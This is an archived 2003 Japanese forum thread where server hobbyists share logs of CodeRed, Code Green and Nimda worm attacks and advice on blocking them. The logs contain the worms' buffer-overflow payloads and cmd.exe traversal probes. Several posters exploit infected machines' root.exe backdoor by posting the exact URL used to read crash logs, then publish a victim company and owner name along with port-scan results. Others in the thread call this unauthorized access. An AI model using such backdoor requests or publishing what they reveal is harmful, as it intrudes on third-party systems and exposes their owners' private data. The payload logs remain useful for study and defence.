この鯖ワームにやられてます

**DNS未登録さん** · 03/02/08 17:15

自宅で鯖も善いけど、管理はちゃんとしようよ。
ログを汚すだけではなく、ネットワーク資源のムダ使いの
CodeRedやNimdaその他のワームにやられてる鯖を教え合おう!!

管理者がこの板みて、対処を期待する。

**DNS未登録さん** · 03/04/15 19:33

これが、この板の現実でしょ。悲しいけど。

**DNS未登録さん** · 03/04/16 11:38

CodeRedが大量に来てますね．．．
　⇒219.156.232.21
　　219.237.77.95
　　219.181.154.52
　　219.140.211.162
　　12.235.16.127

あと、ガーラって調査会社のロボット検索もウザイ
　⇒211.4.250.133

**DNS未登録さん** · 03/04/16 15:34

OrgName: Asia Pacific Network Information Centre
OrgID: APNIC
Address: PO Box 2131
City: Milton
StateProv: QLD
PostalCode: 4064
Country: AU

NetRange: 219.0.0.0 - 219.255.255.255
CIDR: 219.0.0.0/8
NetName: APNIC5
NetHandle: NET-219-0-0-0-1

**DNS未登録さん** · 03/04/16 15:35

OrgName: AT&T WorldNet Services
OrgID: ATTW
Address: 400 Interpace Parkway
City: Parsippany
StateProv: NJ
PostalCode: 07054
Country: US

NetRange: 12.0.0.0 - 12.255.255.255
CIDR: 12.0.0.0/8
NetName: ATT
NetHandle: NET-12-0-0-0-1

**DNS未登録さん** · 03/04/16 15:37

Network Information: [ネットワーク情報]
a. [IPネットワークアドレス] 211.4.250.0
b. [ネットワーク名] I2TS-NET
f. [組織名] 株式会社イーツ
g. [Organization] I2ts Inc.,
m. [運用責任者] MK5986JP
n. [技術連絡担当者] HI1771JP
n. [技術連絡担当者] MK5986JP

>>102
ってなってるけど、がーらって会社なの？

**DNS未登録さん** · 03/04/16 17:55

>>105
ﾈﾀですか？(w

**DNS未登録さん** · 03/04/16 20:24

>>105
nslookupで逆引きすると、gala-net.co.jpという
ドメインが出てきます。何の会社かと思って
ホームページを見たら、ネット上の書き込みを
自動巡回してチェックするサービスを提供していました。

最近、フレッシュアイのロボット検索が定期的に
来るようになって、フレッシュアイにも情報が
登録されたんですが、それをガーラのロボットが
検出して、探りを入れに来ているようです。

**山崎渉** · 03/04/17 12:00

（＾＾）

**DNS未登録さん** · 03/04/18 23:31

YahooBB220013168112.bbtec.net - - [18/Apr/2003:23:11:33 +0900] "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX ?????? HTTP/1.0" 400 178

220.13.168.112うざすぎ。
YBBにメールして遮断できないものだろうか…

**DNS未登録さん** · 03/04/19 01:06

>>109
ごめん

**DNS未登録さん** · 03/04/19 01:07

>>100
来ている来ていないの問題じゃなくて(ry

**DNS未登録さん** · 03/04/19 09:15

>>109
YBBならIP変わらないみたいだから、アクセス制限リストに
放り込んで置けば宜しいかと。まあ、それでも鬱陶しい
事に変わりは無いけど。

**DNS未登録さん** · 03/04/19 22:57

>>109
入り込んで止めてあげたら？（ｗ

**山崎渉** · 03/04/20 05:53

　　 ∧＿∧
　　（　　＾＾）＜ぬるぽ（＾＾）

: · 03/04/21 18:07

☆^～^★　50音順で探せて楽して得する
http://sagatoku.fc2web.com/
　　　あなたの探し物きっとみつかるよ☆^～^★

**DNS未登録さん** · 03/04/22 04:26

>>113
それってCodeGreen…w

**DNS未登録さん** · 03/04/30 19:11

最近こんなのが来てる。

202.98.1.21 - - [27/Apr/2003:16:37:47 +0900] "GET / HTTP/1.1" 400 296 "-" "-"
202.98.1.21 - - [27/Apr/2003:16:37:48 +0900] "POST / HTTP/1.1" 413 1035 "-" "-"

**初心者** · 03/04/30 21:09

当方やふーｂｂですが、
昨日Anhttpdで適当にweb鯖を立てて放置したところ
いろいろ釣れました。

なんですかコリャ？
相手もやふーｂｂのようで。。
感染したワームが、一体何をしようとしているのだかよく分からんが
xが延々と並んでいるのが、噂に聞くバッファオーバーフローってやつですか？
一日中こんなの送ってきて動作が重くなったりしないんだろか

219.144.82.204 - - [30/Apr/2003:20:23:54 +0900] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u
8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 215
219.180.88.36 - - [30/Apr/2003:20:45:59 +0900] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 211
219.180.88.36 - - [30/Apr/2003:20:46:00 +0900] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 215
219.180.88.36 - - [30/Apr/2003:20:46:00 +0900] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
219.180.88.36 - - [30/Apr/2003:20:46:00 +0900] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 215
219.180.88.36 - - [30/Apr/2003:20:46:01 +0900] "GET /scripts/..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215
219.180.88.36 - - [30/Apr/2003:20:46:02 +0900] "GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe HTTP/1.0" 404 215

**初心者** · 03/04/30 21:14

って最初の219.144.82.204は中国の鯖っぽいな。
アクセスしようとしたら漢字だらけの404が返ってきた。

やふーbbの方はアホなユーザーがワームに感染していることも知らず
繋ぎっ放しにしているのかなぁ･･･

**DNS未登録さん** · 03/04/30 21:14

飽きるほど見たNimdaだな。

**DNS未登録さん** · 03/04/30 21:28

感染していることすら判断できない、バカユーザがIISを立ち上げていることに疑問を感じるが。

**DNS未登録さん** · 03/05/01 00:23

つーか、>119は僅か100程のレスを遡って見る事もできんのか・・・

**119** · 03/05/01 00:56

>>122
すんマソ。良く見たら
殆んど同じような報告がいくつも書かれていた…。

初心者なので変なのが飛んできたことが嬉しくて
ついつい書いてしまったのでつた。

**119** · 03/05/01 01:05

こう言うワームの類って、
鯖にセキュリティーホールが無ければ直接害は無いんだよね？

しかし大量に飛んでくると
ログ作成するのに負荷が掛かるってのがあるか…

ルーターでワームだけをカットするような設定は、
簡単には出来るんかなぁ

IP指定するのは当然出来るが
こうあちこちから飛んでくると切りが無い。

**DNS未登録さん** · 03/05/02 11:05

だから、IP弾きは自動化できないって・・・

つーか動的IPや踏み台等を完全場合わけで簡単自動処理できるのがあるなら
教えてもらいたい・・・

なんも考えないでニムダやCodeRedを飛ばしてくるIPをブラックリストに入れると
困る可能性がある。

困ったときには、どこのブラックリストの一部が困ったのかわからないので
ブラックリスト自体を消す羽目になる。

以上無理。

**DNS未登録さん** · 03/05/02 22:29

IPを弾くのではなく、ワームが送るヘッダーの特徴を検出して削除する
ハードウェアルータがあったら良いのにな
もちろん検出パターンはメーカーからの自動更新で。

**DNS未登録さん** · 03/05/02 23:18

>>118
219.180.88.36 のは日本だし、めちゃくちゃちゃねらーだな (藁

http://219.180.88.36/scripts/root.exe?/c+type+"..\..\Docume~1\AllUse~1\Documents\DrWatson\drwtsn32.log"

**DNS未登録さん** · 03/05/03 00:31

>>127
> Windows 2000 Version: 5.0
> 現在のビルド: 2195
> Service Pack: None
> 現在のタイプ: Uniprocessor Free
> 登録されている会社名: （・∀・）
> 登録されている所有者: （・∀・）

禿げ藁
常時接続のくせにServicePackも当てとらんとは、
もしや、ワレザーだったりしてな。

今頃Winnyでエロ画像落としてﾊｧﾊｧしてるんだろ

**DNS未登録さん** · 03/05/03 02:47

MSNメッセンジャーとかIE、メモ帳位しか開いてないやん。
tptp.exeが大活躍していたりはするけどw
2ちゃんねらーにしては激しくツマンナイ椰子やね。

こういうのが糞スレ立てるんだろうな。

**129** · 03/05/03 02:49

tftp.exeの間違い(欝氏

**DNS未登録さん** · 03/05/03 11:11

WHOISでみるかぎりコリアみたいですねー
210.95.90.50 - - [02/May/2003:12:57:31 +0900] "GET /default.ida?XXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

これはチャイナ
210.72.239.240 - - [02/May/2003:09:53:08 +0900] "GET /default.ida?XXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX

**DNS未登録さん** · 03/05/03 12:20

とりあえず、今日だけの分でも素のIPを晒します。
211.153.19.148
211.180.229.213
211.114.27.16
211.249.78.151
211.116.251.18
上から順に新しい
全てCoderedに感染。しかも日本のIPかな？よく分からん。

**DNS未登録さん** · 03/05/03 12:23

って調べたら、前のとあわせて全部国はオーストラリアじゃん!!

**DNS未登録さん** · 03/05/03 12:26

http://www13.big.or.jp/~fubuki/chat/chat2.html
荒らしてもただ見るだけでもOK。これからどんどんロム増えるから。
これと同じヤツをいろんなヤツにコピペしてね

**DNS未登録さん** · 03/05/03 13:27

>>133
馬鹿は whois を使うな。

**DNS未登録さん** · 03/05/03 20:46

>>126
IDSを使うといいかも。個人向けにはトレンドマイクロから出ている。
NTTからFlet'sユーザー向けのOEM版も販売されている。ただ、
スループットが低いので、光ユーザーだと勿体無い。
http://www.trendmicro.com/jp/products/desktop/gatelock/evaluate/overview.htm

>>127
>>128
>>129
不味くないか？

**DNS未登録さん** · 03/05/04 01:25

>>127-129
通報しますた！

と、言いたい所だが不正アクセス等を
相手は全く理解していない予感…

03/05/08 14:27

少なくともこれらのリクエスト送ってくるヤツらは
MSのIISを立ち上げてる、と考えていいのですか？

202.125.153.14
61.187.64.194
202.39.15.237
202.131.151.20
202.194.196.67

これらはホスト名逆引きできないんですが、どういうことでしょうか。

**138** · 03/05/08 14:29

ふと疑問。202.131.151.20はapacheっぽいのに、何故感染してるのでしょうか。

**DNS未登録さん** · 03/05/08 16:36

>>138
> これらはホスト名逆引きできないんですが、どういうことでしょうか。
ISPが設定していないから。(.paknet.com.pk .twnic.net .estelcom.com .edu.cn .chinanet.cn.net)
>>139
> ふと疑問。202.131.151.20はapacheっぽいのに、何故感染してるのでしょうか。
赤帽と窓のデュアルブート環境だから。

**DNS未登録さん** · 03/05/08 16:41

ｷｬﾘｱ

03/05/10 04:49

赤帽と窓のデュアルブート環境だから。

意味が分からない、apacheが立ち上がってるのに
なぜIISに感染するcode redが動いてるの？
Linuxが動いてるはずなのに。

**DNS未登録さん** · 03/05/10 11:09

再接続でアドレスが変わったんじゃなーの？
んで、たまたま新たに割り振られた先に赤帽＆apacheがあったとか。

演@ usen-43x233x52x230.ap-USEN.usen.ad.jp · 03/05/10 11:44

>>142
Win32版＆IISだったとか（Linuxの根拠は。

**DNS未登録さん** · 03/05/10 14:08

>144
実際にアクセスしてみてヘッダを見てからの発言だろーな？

演@ usen-43x233x52x230.ap-USEN.usen.ad.jp · 03/05/10 18:43

>>146
ルータの下でポートフォワードで複数動かしてるとか。

**DNS未登録さん** · 03/05/10 19:51

自問自答ですか？

**DNS未登録さん** · 03/05/11 02:29

ログの中にこんなの発見した
218.20.118.230 - - [09/May/2003:05:41:08 +0900] "GET http://www.21cn.net/ HTTP/1.1" 200 1529

何？

03/05/11 03:27

というか、不毛にIIS動かしてるバカ多すぎ。
トラフィックの無駄遣いも甚だしい。
どうせ何のサービスかわかってないような輩だろ。
NT系、デフォルトでIISなんて入ってないはずなのに
なんで動いてるんだ。取り敢えず腹が立つ。

**DNS未登録さん** · 03/05/11 03:59

202.196.110.208 - - [11/May/2003:00:01:29 +0900] "GET /default.ida?
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 2973 "-" "-"

http://202.196.110.208/

チョン国の中学校の鯖が感染しております。
なんてメールしたらいいかな「貴方感染。鯖PC code red」漢文わからん（T_T）

>>128のような情報を引っ張るにはどうしたらいいの？
http://IPアドレス/scripts/root.exe?/c+type+"..\..\Docume~1\AllUse~1\Documents\DrWatson\drwtsn32.log"
ってリクエストすればいいの？404なったけど。

**DNS未登録さん** · 03/05/11 10:37

http://bizinfo.cool.ne.jp/biz-rank/ranklink.cgi?id=mercury

**DNS未登録さん** · 03/05/11 13:26

＞貴方感染

もしかしたら、なんとなく程度だとしても意味が通じるかもしれない

＞鯖PC

これは絶対無理（藁

**DNS未登録さん** · 03/05/11 13:29

>>150
英語で送っとけ
中国のエリートならペラペラだから

**DNS未登録さん** · 03/05/11 14:10

そして、その中国のエリートが管理する鯖は穴だらけ。

**●かろりーたさん** ◆JwU5Ac6TK2 · 03/05/11 14:56

>>148
http://www.21cn.net/
がそのＩＰアドレスにあると勘違い（？）して参照しようとしてきたリクエスト

**DNS未登録さん** · 03/05/11 14:57

串

**DNS未登録さん** · 03/05/11 15:21

>>149
漏れW2Kでサービスをいじってたら、
知らぬ間にIISが動作していたよ･･･

ANHTTPD起動しようとしたが
80番ポートが開いてないエラーが出るので調べていたら発覚した

そんな香具師が意外と多い予感

**貴方感染** · 03/05/11 15:52

>貴方感染
我SARS否
とか、帰ってきそう(汗

>>149
>>157
そうなんですよね。
ウイルス対策も分からないやつが、標準で入らないIISを入れてしまっていることに
やり場のない怒りと、やるせなさと…

**148** · 03/05/11 19:09

>>155
なるほど。
けどうちはttp://www.21cn.net/じゃないのになぜ200を返したんでしょうか？
cmd.exe、root.exe、favicon.ico、default.ida等には404を返しているのに。

**DNS未登録さん** · 03/05/11 20:36

>>159
踏み台にして失敗したものです。
気になるようだったら、
SetEnvIf HOST FQDN allowed01
deny from env=!allowed01
にしとけば、403返すかと。

演@ usen-43x233x52x230.ap-USEN.usen.ad.jp · 03/05/12 02:43

>>150
＞貴方感染
チョン環境っていうより大陸向けのような気もします。
半島って標準で和文や簡体、繁体フォント入ってるのかなあ。

マジレスすると普通に
Your environment is infected with the virus
and it is troubled. Please carry out somehow.
とかのほうが（文字コードだなんだ考えずに済んで）いいと思います。

**148-159** · 03/05/12 13:50

>>160
あ、そうだったんですか。
うちが荒らされたりする分にゃ自分が我慢すれば済むけど、よそ様まで巻き込むのは不本意です。
教えていただいた「SetEnvIf HOST FQDN allowed01」を勉強のために検索してみました。

「Host:ヘッダーを指定しないリクエストを拒否する方法。」として、「ワームは、DNSの逆引きでもしない限り
HostヘッダにFQDN名をセットできない、よってIPアドレス指定でアクセスしてきても、404 Object Not Foundエ
ラーが返る。」とありましたので、httpd.confに設定してみました。

しばらくこれで様子を見てみます。ありがとうございました。
今月に入ってCodeRedが1日平均27個、先月あたりからだんだん増えてきているみたいです。
ネット上で見付けた「Code Red Check」というperl scriptと「dnstran」と「analog」使ってマメにログをチェ
ックするぐらいしか出来ませんが、地道にやっていきます。

**DNS未登録さん** · 03/05/13 01:52

64.110.110.240
/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
（略）
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXﾖ090ﾖ858ﾖbd3ﾖ801ﾖ090ﾖ858ﾖbd3ﾖ801ﾖ090ﾖ858ﾖbd3ﾖ801ﾖ090ﾖ090ﾖ190ﾖ0c3ﾖ003ﾖb00ﾖ31bﾖ3ffﾖ078ﾖ000ﾖ0=a

ウガンダｷﾀ━━━━━━(ﾟ∀ﾟ)━━━━━━━!!!!!

**DNS未登録さん** · 03/05/15 09:44

202.107.205.9 - - [15/May/2003:02:00:06 +0900] "\x05\x01" 501 - "-" "-"

最近多いのですが、このリクエストは何でしょうか？新手のワーム？

**DNS未登録さん** · 03/05/15 21:13

219.218.95.81 - - [15/May/2003:17:46:54 +0900]
"GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX
XXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u90
0%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%
u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 274 "-" "-"

_ · 03/05/15 21:49

◆CfyWV6PsHI · 03/05/16 00:12

ワーム対策にバーチャルホストはどうよ
HTTP_HOSTがない場合はダミーページの飛ばす

◆CfyWV6PsHI · 03/05/16 00:14

ログをバーチャルホスト毎に記録すれば
ワームのログは通常のログに混じらないが

**山崎渉** · 03/05/22 01:54

━―━―━―━―━―━―━―━―━[JR山崎駅（＾＾）]━―━―━―━―━―━―━―━―━―

**DNS未登録さん** · 03/05/23 20:57

203.222.151.18 - - [23/May/2003:06:21:48 +0900] "GET (^^) HTTP/1.0" 404 1373

**山崎渉** · 03/05/28 17:09

　　　　∧＿∧
ﾋﾟｭ.ｰ　(　　＾＾）＜これからも僕を応援して下さいね（＾＾）。
　　＝〔~∪￣￣〕
　　＝ ◎――◎ 　　　　　　　　　　　　　　　　　　　　　山崎渉

**DNS未登録さん** · 03/05/29 00:01

初心者からの素朴な疑問

例えば、
c:/www/scripts/..ﾁ/winnt/system32/cmd.exe
にワームがアクセスしてくるとしますよね。

該当するディレクトリを作って、cmd.exeって名前のファイル（例えばフロッピーにアクセスし続けるファイルとか）置いといたらどうなるんでしょ？

**DNS未登録さん** · 03/05/31 23:54

きのうの夕方に同一IPから5秒おきに20連発

"GET /NULL.IDA?CCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCCC
CCCCCCCCCCCCCCCCCCCC%u0aeb%ub890%udacf%u77ee%u0000
%u0000%u838b%u0094%u0000%u408b%u0564%u0150%u0000
%ue0ff%u9090=x&\x90\x90\x90\x90\x90\x90\x90\x90\x90
x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90
\x90\x90\x90\x90\x90\x90\x90\xeb\t\x90\x90\x90_\
xeb\b\x90\x90\x90\xe8\xf5\xff\xff\xff\x8do\xf0 x8d}-\
x90\x90\x90\x8b\xf7f\xb8H\x063 ...
<以下略、とても長い>

**DNS未登録さん** · 03/06/01 07:30

>>173
それうちにも来た。
そのあとなんか意味不明な文字があってしかもログが改行されちゃう。
何なのそれ？

**DNS未登録さん** · 03/06/01 13:04

>>174
http://pc2.2ch.net/test/read.cgi/mysv/1044200633/170

**DNS未登録さん** · 03/06/10 00:05

久々にIRC繋いだら、こんなん帰ってきたのだが…
irc.nara.wide.ad.jp - - [09/Jun/2003:23:40:24 +0900] "CONNECT 192.244.23.4:6667 HTTP/1.0" 403 1272

ワームチェックかなんかでしょうか？

03/06/14 03:18

http://yahoobb219055208068.bbtec.net/

バッチリ幹線してるようです。
[2ch@localhost 2ch]wget --spider http://yahoobb219055208068.bbtec.net/
1 HTTP/1.1 200 OK
2 Server: Microsoft-IIS/5.0
3 Date: Fri, 13 Jun 2003 18:18:56 GMT
4 Connection: keep-alive
5 Connection: Keep-Alive
6 Content-Length: 1230
7 Content-Type: text/html
8 Set-Cookie: ASPSESSIONIDQQQQGSUC=KOPNHKABOIBNMLOKLKJJABEE; path=/
9 Cache-control: private
200 OK

どうやって警告したらいいでしょうか。

03/06/14 03:21

ftpとか開いてるし、アノニログインできるし(;´Д`)
厨房運営の鯖でしょうか。

Port State Service
7/tcp open echo
9/tcp open discard
13/tcp open daytime
17/tcp open qotd
19/tcp open chargen
21/tcp open ftp
25/tcp open smtp
80/tcp open http
135/tcp open loc-srv
137/tcp filtered netbios-ns
138/tcp filtered netbios-dgm
139/tcp filtered netbios-ssn
443/tcp open https
445/tcp filtered microsoft-ds
1025/tcp open NFS-or-IIS
1026/tcp open LSA-or-nterm
6699/tcp open napster

03/06/14 03:25

いろいろ情報が見れて楽しいね、他にもっと見れる情報無いかな？

htp://yahoobb219055208068.bbtec.net/scripts/root.exe?/c+type+"..\..\Docume~1\AllUse~1\Documents\DrWatson\drwtsn32.log"

アプリケーション例外が発生しました:
アプリケーション: (pid=1020)
発生時間: 2003/05/01 @ 21:50:51.907
例外番号: c0000005 (アクセス違反)

*----> システム情報 <----*
コンピュータ名: VFGYARXITW27V4Y
ユーザー名: Administrator
プロセッサの数: 1
プロセッサの種類: x86 Family 6 Model 8 Stepping 6
Windows 2000 Version: 5.0
現在のビルド: 2195
Service Pack: None
現在のタイプ: Uniprocessor Free
登録されている会社名: 日本フレートライナー（株）
登録されている所有者: 山﨑勝行

**DNS未登録さん** · 03/06/14 05:53

>>179
通報しますた。

**DNS未登録さん** · 03/06/14 07:32

ｷﾀ━━━━━(ﾟ∀ﾟ)━━━━━!!!!
http://homepage3.nifty.com/coco-nut/

**DNS未登録さん** · 03/06/14 10:32

これはもう警鐘モンだぞ。
パッチも当てない危機感のないバカは鯖なんぞ立てるな。迷惑だ。

212.165.132.144 - - [14/Jun/2003:07:43:54 +0900] "GET /default.ida?XXXXXXXXX（rya

http://212.165.132.144/scripts/root.exe?/c+type+"..\..\Docume~1\AllUse~1\Documents\DrWatson\drwtsn32.log"

Application exception occurred:
App: (pid=1568)
When: 6/2/2003 @ 02:07:38.527
Exception number: c0000005 (access violation)

*----> System Information <----*
Computer Name: CISCO-ACS
User Name: Administrator
Number of Processors: 1
Processor Type: x86 Family 6 Model 8 Stepping 10
Windows 2000 Version: 5.0
Current Build: 2195
Service Pack: None
Current Type: Uniprocessor Free
Registered Organization: prestel
Registered Owner: okada

okadaって日本人か？

**DNS未登録さん** · 03/06/14 12:11

(´-`).｡ｏＯ(不正にアクセスして個人情報開示してるバカだよなぁ・・・)

**DNS未登録さん** · 03/06/14 12:25

日本の法律では認証を掛けてないところにアクセスしても罪にならなかったような

**DNS未登録さん** · 03/06/14 12:29

ややグレーゾーンに近いがな。
インデックスリストが丸見えになってて、顧客情報が見られたのを不正アクセスされたと逝ってるのと同じようなもんでしょ。

**DNS未登録さん** · 03/06/14 22:35

わたしのホームページへアクセスした人は、不正アクセスでﾀｲｰﾎしてもらいます(w

**DNS未登録さん** · 03/06/16 06:20

Code Green のベータ版バイナリを手に入れたので中をのぞいてみたのだが、
%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a
は Code Green の物らしい。
ウイルスだった事には変わりは無いわけだが。

**187** · 03/06/16 06:22

あ、その下の物の方が重要っぽい。失礼

**DNS未登録さん** · 03/06/17 18:35

かぎの開いている家に侵入して情報ファイルを持ち出したら
そいつは窃盗罪だろう。

不正アクセス防止法にはひっかからんかもしらんけど、盗んだ情報を
公開したりしてなにか損害が起きればけっこう痛いことになるかもね

**DNS未登録さん** · 03/06/25 00:41

保守age

**DNS未登録さん** · 03/06/25 18:58

超過激ライブチャット登場！！！！！

あなたの命令で若い娘たちがヌレヌレモードへ

☆★アメリカ西海岸発☆★モザイクなし☆★

あなたの言葉で・・・ヌードにさせてください
あなたの指で・・・感じさせてください
あなたの声で・・・イ・カ・セ・テ・ください
寂しがりやの留学生の若い娘がお待ちしております！

ただいま、１０分間無料で体験できるほか７日間会費無料!!

http://www.gals-cafe.com

**DNS未登録さん** · 03/06/27 23:41

＞＞190
喪前がageるから・・・

**DNS未登録さん** · 03/07/03 03:00

6月分のcodered。
01/Jun/2003 30
02/Jun/2003 37
03/Jun/2003 24
04/Jun/2003 31
05/Jun/2003 30
06/Jun/2003 24
07/Jun/2003 24
08/Jun/2003 27
09/Jun/2003 31
10/Jun/2003 38
11/Jun/2003 30
12/Jun/2003 37
13/Jun/2003 40
14/Jun/2003 20
15/Jun/2003 25
16/Jun/2003 33
17/Jun/2003 27
18/Jun/2003 22
19/Jun/2003 21
20/Jun/2003 28
21/Jun/2003 24
22/Jun/2003 22
23/Jun/2003 27
24/Jun/2003 34
25/Jun/2003 26
26/Jun/2003 32
27/Jun/2003 33
28/Jun/2003 32
29/Jun/2003 24
30/Jun/2003 16

**DNS未登録さん** · 03/07/05 03:27

これワーム関係？初めて見たんだけど
それともアタック？
2003/07/05,01:55:31,,"","-",GET,"/.pl","-","-",403,266,"-","-"
2003/07/05,01:55:39,,"","-",GET,"/_vti_bin/shtml.dll","-","-",404,277,"-","-"
2003/07/05,01:55:39,,"","-",GET,"/_vti_bin/shtml.exe","-","-",404,277,"-","-"
2003/07/05,01:55:40,,"","-",GET,"/_vti_inf.html","-","-",404,272,"-","-"
2003/07/05,01:55:41,,"","-",GET,"/_vti_pvt/administrators.pwd","-","-",404,286,"-","-"
2003/07/05,01:55:41,,"","-",GET,"/_vti_pvt/authors.pwd","-","-",404,279,"-","-"
2003/07/05,01:55:42,,"","-",GET,"/_vti_pvt/service.pwd","-","-",404,279,"-","-"
2003/07/05,01:55:42,,"","-",GET,"/_vti_pvt/users.pwd","-","-",404,277,"-","-"
2003/07/05,01:55:43,,"","-",GET,"/abc/showcode.asp","-","-",404,275,"-","-"
2003/07/05,01:55:43,,"","-",GET,"/carbo.dll","-","-",404,268,"-","-"
2003/07/05,01:55:44,,"","-",GET,"/cfdocs/expelval/displayopenedfile.cfm","-","-",404,296,"-","-"
2003/07/05,01:55:45,,"","-",GET,"/cfdocs/expelval/exprcalc.cfm","-","-",404,287,"-","-"
2003/07/05,01:55:45,,"","-",GET,"/cfdocs/expelval/openfile.cfm","-","-",404,287,"-","-"
2003/07/05,01:55:46,,"","-",GET,"/cfdocs/expelval/sendmail.cfm","-","-",404,287,"-","-"
2003/07/05,01:55:49,,"","-",GET,"/cgi-bin/aglimpse","-","-",403,279,"-","-"
2003/07/05,01:55:49,,"","-",GET,"/cgi-bin/AnyForm2","-","-",403,279,"-","-"
2003/07/05,01:55:50,,"","-",GET,"/cgi-bin/AT-admin.cgi","-","-",403,283,"-","-"
2003/07/05,01:55:51,,"","-",GET,"/cgi-bin/bnbform.cgi","-","-",403,282,"-","-"
2003/07/05,01:55:51,,"","-",GET,"/cgi-bin/campas","-","-",403,277,"-","-"
2003/07/05,01:55:52,,"","-",GET,"/cgi-bin/cgiwrap","-","-",403,278,"-","-"
全67行

**DNS未登録さん** · 03/07/05 04:45

アクセスしようとしてるファイル名から推測すると
IIS狙いのワームでないかい？

うちにはまだお見えになられてないです

**DNS未登録さん** · 03/07/05 14:20

>>194
> 2003/07/05,01:55:52,,"","-",GET,"/cgi-bin/cgiwrap","-","-",403,278,"-","-"

cgiwrapの設定不備狙ってる？
IIS狙いとは言い切れない予感。

例の改ざん祭りの下準備かも((((((；ﾟДﾟ))))))ｶﾞｸｶﾞｸﾌﾞﾙﾌﾞﾙ

**DNS未登録さん** · 03/07/05 17:11

＞196

祭りドコー？

**DNS未登録さん** · 03/07/06 03:35

http://news2.2ch.net/test/read.cgi/newsplus/1057237070/

**山崎渉** · 03/07/15 11:10

　__∧＿∧_
　|（　　＾＾）|　＜寝るぽ（＾＾）
　|＼⌒⌒⌒＼
　＼ |⌒⌒⌒~|　　　　　　　　　山崎渉
　　 ~￣￣￣￣

**DNS未登録さん** · 03/07/26 11:29

孫さん家の人が衛生管理していないので、「出禁」にしています。
衛生管理出来る様になったら、タイム系サーバーを追加して
監視兵を置くかな・・・